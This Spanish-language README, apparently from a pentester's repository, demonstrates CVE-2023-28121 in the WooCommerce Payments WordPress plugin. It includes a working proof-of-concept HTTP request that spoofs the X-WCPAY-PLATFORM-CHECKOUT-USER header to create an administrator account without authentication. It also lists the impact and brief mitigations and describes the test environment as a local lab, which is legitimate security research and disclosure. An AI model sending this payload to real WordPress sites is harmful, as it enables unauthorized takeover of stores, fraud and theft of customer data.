🔐 CVE-2023-28121 — Escalada de privilegios en WordPress

Explotación práctica de una vulnerabilidad crítica en WordPress usando el plugin WooCommerce Payments.

📌 Resumen

La CVE-2023-28121 permite crear usuarios administradores sin autenticación vía REST API.

• Severidad: Crítica (CVSS 9.8)
• Impacto: Control total del sitio
• Tipo: Bypass de autenticación / Escalada de privilegios
• +600.000 instalaciones activas - Marzo de 2023 https://www.wiz.io/vulnerability-database/cve/cve-2023-28121?utm_source=chatgpt.com

📊 El plugin afectado posee cientos de miles de instalaciones, siendo ampliamente usado en e-commerces.

🎥 Demostración

https://github.com/user-attachments/assets/cead3884-0924-4320-967f-de9fb3f6cd44

⚠️ Cómo funciona

El sistema acepta un header manipulable:

X-WCPAY-PLATFORM-CHECKOUT-USER: 1

Con esto, es posible enviar una solicitud para la creación de un usuario con privilegios elevados sin autenticación válida.

🧪 PoC

POST /wp-json/wp/v2/users
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1

{
  "username": "hacked",
  "password": "StrongPass123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

✔️ Resultado: creación de usuario admin

🔥 Impacto

• Creación de administrador
• Acceso al panel /wp-admin
• Posible toma de control completa
• Riesgo de fraude y fuga de datos

🛠️ Mitigación

• Actualizar el plugin a la versión corregida
• Restringir el acceso a la REST API
• Validar correctamente la autenticación

🧱 Ambiente

• WordPress (laboratorio local)
• WooCommerce Payments (versión vulnerable)

📚 Referencias

• CVE-2023-28121
• Documentación REST API WordPress
• https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/

👨‍💻 Autor

Luis Eduardo .M.B.S.R

Pentester / Web Security

LinkedIn: https://www.linkedin.com/in/luis-eduardo-ti/

GitHub: https://github.com/luisdevpentest

⚖️ Aviso legal

Uso educacional en entorno controlado. No me responsabilizo de cómo sea usado tal conocimiento por terceros.